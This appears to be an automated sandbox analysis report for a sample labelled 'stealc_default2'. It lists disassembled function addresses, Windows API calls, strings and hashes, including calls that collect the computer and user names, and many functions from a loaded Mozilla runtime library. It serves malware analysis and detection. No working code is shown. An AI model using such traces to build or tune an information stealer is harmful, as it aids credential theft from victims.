Instruction ID: 3666002d406af448d3154562f73a3357791f524281c878a9abe5338b7e7f9169
Opcode Fuzzy Hash: 0698806c0b2474b60fc2ba1d3d39143113887827c5925ea46530f14b26997ecb
Instruction Fuzzy Hash: 59E0123594034C7BDB91EB94CC96FAD737D9B44B01F004295BA0C5B1C0DE70AB858B91

Function 00631190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 006478E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00646A2B), ref: 00647910
Part of subcall function 006478E0: HeapAlloc.KERNEL32(00000000,?,?,?,00646A2B), ref: 00647917
Part of subcall function 006478E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0064792F

Part of subcall function 00647850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,006311B7), ref: 00647880
Part of subcall function 00647850: HeapAlloc.KERNEL32(00000000,?,?,?,006311B7), ref: 00647887
Part of subcall function 00647850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0064789F

ExitProcess.KERNEL32 ref: 006311C6

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: 3ef1a5f662d4914dd60044f15c3a0d8eecf37f62ef1b6f667b65829faae134c7
Instruction ID: 992641a11506c99b4263cc70047e416f75431bbefb6d33f3efd5eeb3670a0436
Opcode Fuzzy Hash: 3ef1a5f662d4914dd60044f15c3a0d8eecf37f62ef1b6f667b65829faae134c7
Instruction Fuzzy Hash: 77E012B5D143055BCB4477F0BC0EB6E329E6B55746F04083CFA09D7602FA65E84086AE

Function 00639880 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000020,00640759,?,?), ref: 00639888

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 9af5cd76d2108d6f74baa85222844bbf3e0862e7a11ad523ce585beece79297a
Instruction ID: 45f98df3cb560386647e9d3b3a7bfa40636ead262f6b4cf60267962fb2da0080
Opcode Fuzzy Hash: 9af5cd76d2108d6f74baa85222844bbf3e0862e7a11ad523ce585beece79297a
Instruction Fuzzy Hash: 85F054B5D40208FFDB00EFA8D846B9DB7B5EB04300F108598FA1597281E6719B14CF91

Non-executed Functions

Function 6C5364C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C5364DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C5364F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C536505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C536518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C53652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C53671C
GetCurrentProcess.KERNEL32 ref: 6C536724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C53672F
GetCurrentProcess.KERNEL32 ref: 6C536759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C536764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C536A80
GetSystemInfo.KERNEL32(?), ref: 6C536ABE
__Init_thread_footer.LIBCMT ref: 6C536AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C536AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C536AF7

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C536798
_etoured.dll, xrefs: 6C5364ED
nvd3d9wrap.dll, xrefs: 6C536500
user32.dll, xrefs: 6C536526
nvdxgiwrap.dll, xrefs: 6C536513
detoured.dll, xrefs: 6C5364DA

Memory Dump Source

Source File: 00000014.00000002.3333661711.000000006C521000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000014.00000002.3333282387.000000006C520000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333797058.000000006C59D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333868001.000000006C5AE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333918189.000000006C5B2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6c520000_stealc_default2.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: b52a15ace5b2314cd50de4cfd39e99840e3341fd303ee2e586dc1dc5d961419c
Instruction ID: 7e8283d1bd3fb1a710bdf3bb77e9673c9dab01c09ebe90b3dd6a2eeb761c8d83
Opcode Fuzzy Hash: b52a15ace5b2314cd50de4cfd39e99840e3341fd303ee2e586dc1dc5d961419c
Instruction Fuzzy Hash: 5DF1DE71905329DFCB20CF65CC88B9AB7B4BF46318F155299E80DA7641EB31AE84CF91

Function 6C54D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5AE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C55D1C5), ref: 6C54D4F2
LeaveCriticalSection.KERNEL32(6C5AE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C55D1C5), ref: 6C54D50B

Part of subcall function 6C52CFE0: EnterCriticalSection.KERNEL32(6C5AE784), ref: 6C52CFF6
Part of subcall function 6C52CFE0: LeaveCriticalSection.KERNEL32(6C5AE784), ref: 6C52D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C55D1C5), ref: 6C54D52E
EnterCriticalSection.KERNEL32(6C5AE7DC), ref: 6C54D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C54D6A6
LeaveCriticalSection.KERNEL32(6C5AE7DC), ref: 6C54D712
LeaveCriticalSection.KERNEL32(6C5AE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C55D1C5), ref: 6C54D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C54D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C54D82C
<jemalloc>, xrefs: 6C54D827

Memory Dump Source

Source File: 00000014.00000002.3333661711.000000006C521000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000014.00000002.3333282387.000000006C520000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333797058.000000006C59D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333868001.000000006C5AE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333918189.000000006C5B2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6c520000_stealc_default2.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: e02903358e9ff6afa329c5b6caef4c39644c4675c2f984f54b2aee0e65216936
Instruction ID: efb931a1c5106ef3fdf393ffc5a4c2359b56195f6eb3e50889f98824d5524a78
Opcode Fuzzy Hash: e02903358e9ff6afa329c5b6caef4c39644c4675c2f984f54b2aee0e65216936
Instruction Fuzzy Hash: 0491C371A047418FD718CF69CC9076AB7E1EB89318F15CA2EE55AC7B81DB70E845CB82

Function 6C572C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C572C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C572C61

Part of subcall function 6C524DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C524E5A
Part of subcall function 6C524DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C524E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C572C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C572E2D

Part of subcall function 6C5381B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5381DE

Strings

ProfileBuffer parse error: %s, xrefs: 6C572E3B
(root), xrefs: 6C57354F
expected a Time entry, xrefs: 6C572E36

Memory Dump Source

Source File: 00000014.00000002.3333661711.000000006C521000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000014.00000002.3333282387.000000006C520000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333797058.000000006C59D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333868001.000000006C5AE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333918189.000000006C5B2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6c520000_stealc_default2.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 4533bb0128b4d783a987faa68d4bc6a3ec0713728ec456022bcdc687eed1764a
Instruction ID: 22e26fa5ddf4cd74f093f62531539732f111aaa3909f34c6a6dbe4c45e17956c
Opcode Fuzzy Hash: 4533bb0128b4d783a987faa68d4bc6a3ec0713728ec456022bcdc687eed1764a
Instruction Fuzzy Hash: 4891A070608780CFC724CF25CC9465EB7E1AFC9368F50491DE99A87751EB30D98ACB62

Function 6C59545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C598A4B

Strings

~qRl, xrefs: 6C595703, 6C599269, 6C599459, 6C5956C7, 6C595740, 6C59921F, 6C59948F

Memory Dump Source

Source File: 00000014.00000002.3333661711.000000006C521000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000014.00000002.3333282387.000000006C520000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333797058.000000006C59D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333868001.000000006C5AE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333918189.000000006C5B2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6c520000_stealc_default2.jbxd

Similarity

API ID: memset
String ID: ~qRl
API String ID: 2221118986-857610353
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: a23e1fee5e0e199010a6cebcab5487d09e0ed301db8079b83a59a718e0d97f40
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: D8B1D672A0125ACFDB14CF68CC907E9B7B2EF95314F1802E9C549EB781E730A995CB91

Function 6C59542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C5988F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C59925C

Strings

~qRl, xrefs: 6C595703, 6C599269, 6C599459, 6C5956C7, 6C595740, 6C59921F, 6C59948F

Memory Dump Source

Source File: 00000014.00000002.3333661711.000000006C521000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000014.00000002.3333282387.000000006C520000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333797058.000000006C59D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333868001.000000006C5AE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333918189.000000006C5B2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6c520000_stealc_default2.jbxd

Similarity

API ID: memset
String ID: ~qRl
API String ID: 2221118986-857610353
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 7fb9da4cf4ee78ea596364ab2c13f649dfd29cc567cc32a3e47a2070419b8180
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 39B1C572A0024ACFCB14CF58CC816EDB7B6AF85314F1402A9C549DB785E730A999CB91

Function 6C56CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C53582D), ref: 6C56CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C53582D), ref: 6C56CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C59FE98,?,?,?,?,?,6C53582D), ref: 6C56CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C53582D), ref: 6C56CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C53582D), ref: 6C56CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C53582D), ref: 6C56CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C53582D), ref: 6C56CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C56CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C56CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C56CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C56CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C56CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C56CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C56CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C56CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C56CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C56CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C56CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C56CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C56CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C56CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C56CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C56CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C56CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C56CE8A

Strings

markersallthreads, xrefs: 6C56CE42
default, xrefs: 6C56CC21
fileioall, xrefs: 6C56CCA8
cpuallthreads, xrefs: 6C56CE16
leaf, xrefs: 6C56CC66
screenshots, xrefs: 6C56CCD4
ipcmessages, xrefs: 6C56CDBE
nostacksampling, xrefs: 6C56CD7C
jsallocations, xrefs: 6C56CD0E
Unrecognized feature "%s"., xrefs: 6C56CEA0
processcpu, xrefs: 6C56CE6E
power, xrefs: 6C56CE84
fileio, xrefs: 6C56CC92
notimerresolutionchange, xrefs: 6C56CE00
java, xrefs: 6C56CC37
mainthreadio, xrefs: 6C56CC7C
samplingallthreads, xrefs: 6C56CE2C
noiostacks, xrefs: 6C56CCBE
nativeallocations, xrefs: 6C56CDA8
seqstyle, xrefs: 6C56CCE6
unregisteredthreads, xrefs: 6C56CE58
preferencereads, xrefs: 6C56CD92
stackwalk, xrefs: 6C56CCF8
audiocallbacktracing, xrefs: 6C56CDD4

Memory Dump Source

Source File: 00000014.00000002.3333661711.000000006C521000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000014.00000002.3333282387.000000006C520000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333797058.000000006C59D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333868001.000000006C5AE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333918189.000000006C5B2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6c520000_stealc_default2.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 8963353f5e790f0c626412c1eaeae89e70a842d0f898626d835750e75cbff1af
Instruction ID: 00231a815d06986dce73b3c627e647ec5b3f9e62847436da18dfc0ac1b00197a
Opcode Fuzzy Hash: 8963353f5e790f0c626412c1eaeae89e70a842d0f898626d835750e75cbff1af
Instruction Fuzzy Hash: 3A510CF19052E453FE11311BAC10BAA1415EF9324AF504576EE1BA1F90FF08FA0A86B7

Function 6C534470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C534730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5344B2,6C5AE21C,6C5AF7F8), ref: 6C53473E
Part of subcall function 6C534730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C53474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C5344BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C5344D2
InitOnceExecuteOnce.KERNEL32(6C5AF80C,6C52F240,?,?), ref: 6C53451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C53455C
LoadLibraryW.KERNEL32(?), ref: 6C534592
InitializeCriticalSection.KERNEL32(6C5AF770), ref: 6C5345A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C5345AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C5345BB
InitOnceExecuteOnce.KERNEL32(6C5AF818,6C52F240,?,?), ref: 6C534612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C534636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C534644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C53466D
VerSetConditionMask.NTDLL ref: 6C53469F
VerSetConditionMask.NTDLL ref: 6C5346AB
VerSetConditionMask.NTDLL ref: 6C5346B2
VerSetConditionMask.NTDLL ref: 6C5346B9
VerSetConditionMask.NTDLL ref: 6C5346C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5346CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C5346F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C5346FD

Strings

NativeNtBlockSet_Write, xrefs: 6C5346F7
l, xrefs: 6C534578
GZl, xrefs: 6C5344FC
user32.dll, xrefs: 6C534557, 6C53463F
WRusr.dll, xrefs: 6C5344B5
kernel32.dll, xrefs: 6C5344CD

Memory Dump Source

Source File: 00000014.00000002.3333661711.000000006C521000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000014.00000002.3333282387.000000006C520000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333797058.000000006C59D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333868001.000000006C5AE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333918189.000000006C5B2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6c520000_stealc_default2.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: GZl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-2531787397
Opcode ID: b12a13ffc96cc8ebd44681fd61dc6a76225277e14992750c7fcfba76299d0258
Instruction ID: ed9dcf034db8d9a5bf855676816effba850a59e27305bc550cabf88d495265c9
Opcode Fuzzy Hash: b12a13ffc96cc8ebd44681fd61dc6a76225277e14992750c7fcfba76299d0258
Instruction Fuzzy Hash: 99613BB0A00358AFEB109FE2DC09B9D7FF8EF46308F059658E5099B641E7B18945CFA5

Function 6C57D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C57D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C57D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C57D52A
GetCurrentThreadId.KERNEL32 ref: 6C57D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C57D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C57D55F
free.MOZGLUE(00000000), ref: 6C57D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C57D5D3
GetCurrentThreadId.KERNEL32 ref: 6C57D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C57D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C57D652
GetCurrentThreadId.KERNEL32 ref: 6C57D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C57D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C57D6A2

Memory Dump Source

Source File: 00000014.00000002.3333661711.000000006C521000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000014.00000002.3333282387.000000006C520000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333797058.000000006C59D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333868001.000000006C5AE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333918189.000000006C5B2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6c520000_stealc_default2.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 9872f5fce8cd4c1f5efea5719643389746db5388c1cc48c66d2c872cd308e6a8
Instruction ID: 02262cbdbae9cb43eb496c0562173f864a1256e28f3fb2f1ac9c63b825a01be0
Opcode Fuzzy Hash: 9872f5fce8cd4c1f5efea5719643389746db5388c1cc48c66d2c872cd308e6a8
Instruction Fuzzy Hash: 17519F71604709DFC700DF75C888A9ABBF4FF89318F01862EE94A87711EB31A844CB95

Function 6C56EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C569420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C534A68), ref: 6C56945E
Part of subcall function 6C569420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C569470
